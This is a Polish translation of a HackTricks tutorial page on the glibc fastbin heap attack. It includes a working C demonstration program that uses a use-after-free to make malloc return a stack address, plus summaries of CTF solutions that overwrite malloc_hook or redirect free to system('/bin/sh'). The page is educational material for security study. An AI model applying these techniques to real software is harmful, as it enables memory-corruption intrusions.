hacktricks/binary-exploitation/heap/fast-bin-attack.md

# Szybki Atak na Binarny

<details>

<summary><strong>Nauka hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

Inne sposoby wsparcia HackTricks:

* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF** sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.

</details>

## Podstawowe Informacje

Aby uzyskać więcej informacji na temat tego, co to jest szybki bin, sprawdź tę stronę:

{% content-ref url="bins-and-memory-allocations.md" %}
[bins-and-memory-allocations.md](bins-and-memory-allocations.md)
{% endcontent-ref %}

Ponieważ szybki bin jest jednokierunkowy, istnieje znacznie mniej zabezpieczeń niż w innych binach i wystarczy **zmodyfikować adres w zwolnionym fragmencie szybkiego binu**, aby móc **później przydzielić fragment w dowolnym adresie pamięci**.

Podsumowując:

{% code overflow="wrap" %}
```c
ptr0 = malloc(0x20);
ptr1 = malloc(0x20);

// Put them in fast bin (suppose tcache is full)
free(ptr0)
free(ptr1)

// Use-after-free
// Modify the address where the free chunk of ptr1 is pointing
*ptr1 = (unsigned long)((char *)&<address>);

ptr2 = malloc(0x20); // This will get ptr1
ptr3 = malloc(0x20); // This will get a chunk in the <address> which could be abuse to overwrite arbitrary content inside of it
```
{% endcode %}

Możesz znaleźć pełny przykład w bardzo dobrze wyjaśnionym kodzie na stronie [https://guyinatuxedo.github.io/28-fastbin\_attack/explanation\_fastbinAttack/index.html](https://guyinatuxedo.github.io/28-fastbin\_attack/explanation\_fastbinAttack/index.html):
```c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int main(void)
{
puts("Today we will be discussing a fastbin attack.");
puts("There are 10 fastbins, which act as linked lists (they're separated by size).");
puts("When a chunk is freed within a certain size range, it is added to one of the fastbin linked lists.");
puts("Then when a chunk is allocated of a similar size, it grabs chunks from the corresponding fastbin (if there are chunks in it).");
puts("(think sizes 0x10-0x60 for fastbins, but that can change depending on some settings)");
puts("\nThis attack will essentially attack the fastbin by using a bug to edit the linked list to point to a fake chunk we want to allocate.");
puts("Pointers in this linked list are allocated when we allocate a chunk of the size that corresponds to the fastbin.");
puts("So we will just allocate chunks from the fastbin after we edit a pointer to point to our fake chunk, to get malloc to return a pointer to our fake chunk.\n");
puts("So the tl;dr objective of a fastbin attack is to allocate a chunk to a memory region of our choosing.\n");

puts("Let's start, we will allocate three chunks of size 0x30\n");
unsigned long *ptr0, *ptr1, *ptr2;

ptr0 = malloc(0x30);
ptr1 = malloc(0x30);
ptr2 = malloc(0x30);

printf("Chunk 0: %p\n", ptr0);
printf("Chunk 1: %p\n", ptr1);
printf("Chunk 2: %p\n\n", ptr2);


printf("Next we will make an integer variable on the stack. Our goal will be to allocate a chunk to this variable (because why not).\n");

int stackVar = 0x55;

printf("Integer: %x\t @: %p\n\n", stackVar, &stackVar);

printf("Proceeding that I'm going to write just some data to the three heap chunks\n");

char *data0 = "00000000";
char *data1 = "11111111";
char *data2 = "22222222";

memcpy(ptr0, data0, 0x8);
memcpy(ptr1, data1, 0x8);
memcpy(ptr2, data2, 0x8);

printf("We can see the data that is held in these chunks. This data will get overwritten when they get added to the fastbin.\n");

printf("Chunk 0: %s\n", (char *)ptr0);
printf("Chunk 1: %s\n", (char *)ptr1);
printf("Chunk 2: %s\n\n", (char *)ptr2);

printf("Next we are going to free all three pointers. This will add all of them to the fastbin linked list. We can see that they hold pointers to chunks that will be allocated.\n");

free(ptr0);
free(ptr1);
free(ptr2);

printf("Chunk0 @ 0x%p\t contains: %lx\n", ptr0, *ptr0);
printf("Chunk1 @ 0x%p\t contains: %lx\n", ptr1, *ptr1);
printf("Chunk2 @ 0x%p\t contains: %lx\n\n", ptr2, *ptr2);

printf("So we can see that the top two entries in the fastbin (the last two chunks we freed) contains pointers to the next chunk in the fastbin. The last chunk in there contains `0x0` as the next pointer to indicate the end of the linked list.\n\n");


printf("Now we will edit a freed chunk (specifically the second chunk \"Chunk 1\"). We will be doing it with a use after free, since after we freed it we didn't get rid of the pointer.\n");
printf("We will edit it so the next pointer points to the address of the stack integer variable we talked about earlier. This way when we allocate this chunk, it will put our fake chunk (which points to the stack integer) on top of the free list.\n\n");

*ptr1 = (unsigned long)((char *)&stackVar);

printf("We can see it's new value of Chunk1 @ %p\t hold: 0x%lx\n\n", ptr1, *ptr1);


printf("Now we will allocate three new chunks. The first one will pretty much be a normal chunk. The second one is the chunk which the next pointer we overwrote with the pointer to the stack variable.\n");
printf("When we allocate that chunk, our fake chunk will be at the top of the fastbin. Then we can just allocate one more chunk from that fastbin to get malloc to return a pointer to the stack variable.\n\n");

unsigned long *ptr3, *ptr4, *ptr5;

ptr3 = malloc(0x30);
ptr4 = malloc(0x30);
ptr5 = malloc(0x30);

printf("Chunk 3: %p\n", ptr3);
printf("Chunk 4: %p\n", ptr4);
printf("Chunk 5: %p\t Contains: 0x%x\n", ptr5, (int)*ptr5);

printf("\n\nJust like that, we executed a fastbin attack to allocate an address to a stack variable using malloc!\n");
}
```
{% hint style="danger" %}
Jeśli jest możliwe nadpisanie wartości zmiennej globalnej **`global_max_fast`** dużą liczbą, pozwala to generować szybkie bloki większych rozmiarów, potencjalnie umożliwiając przeprowadzenie ataków szybkich bloków w scenariuszach, w których wcześniej nie było to możliwe.
{% endhint %}

## Przykłady

* **CTF** [**https://guyinatuxedo.github.io/28-fastbin\_attack/0ctf\_babyheap/index.html**](https://guyinatuxedo.github.io/28-fastbin\_attack/0ctf\_babyheap/index.html)**:**
* Możliwe jest alokowanie fragmentów, zwalnianie ich, odczytywanie ich zawartości i wypełnianie ich (z wykorzystaniem podatności na przepełnienie).
* **Skonsoliduj fragment w celu wycieku informacji**: Technika polega głównie na nadużyciu przepełnienia w celu stworzenia fałszywej wartości `prev_size`, dzięki czemu jeden poprzedni fragment jest umieszczany w większym fragmencie. Dzięki temu, przy alokowaniu większego fragmentu zawierającego inny fragment, możliwe jest wydrukowanie jego danych i wyciek adresu do libc (main\_arena+88).
* **Nadpisz hak alokacji pamięci**: Dzięki temu, i nadużywając poprzedniej sytuacji nakładania się, było możliwe posiadanie 2 fragmentów wskazujących na tę samą pamięć. W związku z tym, zwalniając je oba (zwalniając inny fragment pomiędzy nimi, aby uniknąć zabezpieczeń), było możliwe posiadanie tego samego fragmentu w szybkim bloku 2 razy. Następnie było możliwe ponowne go zaalokować, nadpisać adres następnego fragmentu, aby wskazywał trochę przed `malloc_hook` (aby wskazywał na liczbę całkowitą, którą `malloc` uważa za rozmiar wolny - kolejne obejście), ponownie go zaalokować, a następnie zaalokować inny fragment, który otrzyma adresy haków alokacji pamięci.\
Ostatecznie wstawiono tam **jedno narzędzie**.
* **CTF** [**https://guyinatuxedo.github.io/28-fastbin\_attack/csaw17\_auir/index.html**](https://guyinatuxedo.github.io/28-fastbin\_attack/csaw17\_auir/index.html)**:**
* Występuje przepełnienie sterty oraz użytkownik po zwolnieniu i podwójne zwolnienie, ponieważ po zwolnieniu fragmentu możliwe jest ponowne wykorzystanie i ponowne zwolnienie wskaźników.
* **Wyciek informacji z libc**: Wystarczy zwolnić kilka fragmentów, a otrzymają one wskaźnik do części lokalizacji głównej areny. Ponieważ można ponownie użyć zwolnionych wskaźników, wystarczy odczytać ten adres.
* **Atak szybkiego bloku**: Wszystkie wskaźniki do alokacji są przechowywane wewnątrz tablicy, więc możemy zwolnić kilka fragmentów szybkiego bloku, a w ostatnim nadpisać adres, aby wskazywał trochę przed tą tablicą wskaźników. Następnie zaalokować kilka fragmentów o takim samym rozmiarze, najpierw otrzymamy prawidłowy, a następnie fałszywy fragment zawierający tablicę wskaźników. Teraz możemy nadpisać te wskaźniki alokacji, aby wskazywały na adres `free` w celu wskazania na `system`, a następnie zapisać fragment 1 `"/bin/sh"`, a następnie `free(chunk1)`, co spowoduje wykonanie `system("/bin/sh")`.
* Można znaleźć atak szybkiego bloku wykorzystany poprzez atak na nieposortowany blok.
* Uwaga&#x20;

{% content-ref url="unsorted-bin-attack.md" %}
[unsorted-bin-attack.md](unsorted-bin-attack.md)
{% endcontent-ref %}

<details>

<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

Inne sposoby wsparcia HackTricks:

* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.

</details>